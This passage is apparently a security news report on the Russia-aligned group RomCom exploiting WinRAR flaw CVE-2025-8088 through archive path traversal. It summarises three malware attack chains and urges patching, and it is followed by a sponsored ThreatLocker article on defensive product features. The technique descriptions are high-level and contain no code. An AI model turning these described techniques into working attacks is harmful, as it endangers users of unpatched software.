told BleepingComputer that they are not aware of the details of the exploitation of CVE-2025-8088, did not receive any user reports, and ESET only shared with them the technical information required to develop a patch. WinRAR does not contain an auto-update feature, so users need to manually download and install the latest version from here. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

A newly discovered vulnerability in WinRAR has been exploited in the wild by the Russia-aligned cyber group RomCom. According to an advisory published by ESET researchers earlier today, the flaw, tracked as CVE-2025-8088, allows attackers to conceal malicious files in an archive that are silently deployed during extraction. A patch was released on July 30 2025, and users are urged to upgrade immediately. How the Attack Works The path traversal vulnerability, enabled through alternate data streams, affects multiple components, including WinRAR’s Windows command-line utilities, UnRAR.dll and the portable UnRAR source code. By crafting archives to appear harmless, attackers hide malicious DLLs and LNK files that are deployed to system directories, enabling persistence and code execution. Between July 18 and 21, RomCom used spear-phishing emails to target financial, manufacturing, defense and logistics firms in Europe and Canada. The emails carried job application lures with RAR file attachments. According to ESET, no successful compromises were observed during this campaign. The security researchers identified three distinct attack chains: Mythic agent: Used COM hijacking to execute a malicious DLL, which then decrypted and ran shellcode linked to a command-and-control (C2) server SnipBot variant: Delivered via a modified PuTTY CAC executable that only ran if the system showed signs of real-world use, such as a high number of recently opened documents MeltingClaw (RustyClaw): A downloader written in Rust that retrieved additional payloads from remote servers Each chain leveraged hardcoded domain checks or anti-analysis techniques to avoid detection in test environments. A Pattern of Zero-Day Exploits RomCom, also known as Storm-0978, Tropical Scorpius or UNC2596, has a history of exploiting previously unknown vulnerabilities. In June 2023, it abused CVE-2023-36884 in Microsoft Word, and in October 2024, it chained two vulnerabilities, including CVE-2024-9680 in Firefox, to deliver backdoors. The group engages in both financially motivated attacks and targeted espionage. ESET noted that another unidentified threat actor began exploiting CVE-2025-8088 shortly after RomCom. The speed of the WinRAR team’s patch release, just one day after being informed, was highlighted as critical in reducing exposure. Security experts recommend immediate updates to WinRAR and related components to mitigate the risk from this flaw.

Article written by cybersecurity expert Yuriy Tsibere. Gone are the days when cybersecurity meant stopping annoying viruses like the Love Bug. Today, it’s about battling a massive, financially motivated cybercrime industry. Attacks are smarter, faster, and more damaging—and that changes everything for product teams. For product managers (PMs), this means understanding that attackers are constantly exploiting the same weak spots: stolen admin credentials, missing multi-factor authentication (MFA) on VPNs, remote encryption, and clever “living off the land” (LOTL) tricks like using Office to launch PowerShell. Even something as simple as an unpatched firewall or a rogue USB drive can open the door to a breach. New vulnerabilities and zero-days are popping up all the time, and product teams have to stay on their toes. A few examples: WannaCry (2017): Used the EternalBlue flaw in SMBv1 to spread ransomware fast. It forced companies to disable SMBv1 altogether. Some Exchange Server bugs: Let attackers run malicious scripts, sometimes leading to ransomware. Log4j vulnerability: A vulnerability in a popular Java logging framework that enables arbitrary code execution. Still showing up in outdated firewalls and VPNs. Follina (MSDT): Let Office apps launch PowerShell without any user interaction. Timely patching helps, but it’s not enough. There’s always a gap between discovering a flaw and fixing it. That’s why teams need layered defenses and a mindset that’s ready to respond to incidents as they happen. How breach reports drive real-time product shifts The 100 days to secure your environment webinar series from ThreatLocker is a great example of incident-driven development. It helps security leaders focus on what matters most in their first few months. Real-world breaches often directly lead to new product features or policy changes. Here’s how: Unlocked machines: a threat actor once accessed a hospital computer that was left open and ran PowerShell. Now, password-protected screen savers are a must. USB data theft: USB drives are still a go-to for stealing data. Products now offer fine-grained USB controls—blocking unencrypted drives, limiting file types, or capping how many files can be copied. Lateral movement: Ransomware often spreads using old admin accounts. Tools now detect and remove these after review. LOTL attacks: Follina showed how legit tools can be misused. Ringfencing™ helps stop apps from launching things they shouldn’t. Outbound traffic abuse: Attacks like SolarWinds used outbound connections. Now, default-deny policies for server traffic are becoming standard. Stolen credentials: MFA is non-negotiable for cloud accounts, remote access, and domain controllers. Vulnerable VPNs: Unpatched VPNs are a big risk. Features now include IP-based access controls or even disabling unused VPNs. The PM's response: From advisory to actionable feature For cybersecurity PMs, reacting to threats means more than just writing advisories. It’s about building smarter, safer products. Here’s how: Get full visibility Start by understanding what’s running in your environment. Use monitoring agents to track file activity, privilege changes, app launches, and network traffic. Prioritize risks With a complete picture, PMs can focus on high-risk tools and behaviors: - Remote access tools like TeamViewer or AnyDesk - Software with too many permissions (e.g., 7-Zip, Nmap) - Risky browser extensions - Software from high-risk regions Drive adaptive policy creation Security policies should evolve with the threat landscape: - Test first: Use monitor-only mode and test groups before enforcing new rules. - Be precise: Go beyond on/off switches—use dynamic ACLs, Ringfencing, and app-specific admin rights. - Encourage adoption by minimizing disruption - Offer a store of pre-approved apps - Make it easy to request new software - Explain why restrictions exist—it builds trust - Continuous improvement and monitoring: - Use health reports to spot misconfigurations - Block USB file copies if thresholds are exceeded - Clean up old policies and unused apps regularly Embrace patch management Make sure everything—from operating systems to portable applications like PuTTY—is up to date. Use tools to find missing patches and test them with pilot users before rolling out. Protect backups Backups must be shielded from compromise. This includes limiting which apps can access them and requiring MFA for backup services. PMs should also test the backups regularly to validate recovery readiness. Cybersecurity PMs are on the front lines of using real-world protections against real-world threats. By staying informed, collecting the right data, and building with users in mind, you can reduce risk without making life harder for your team. Sponsored and written by ThreatLocker.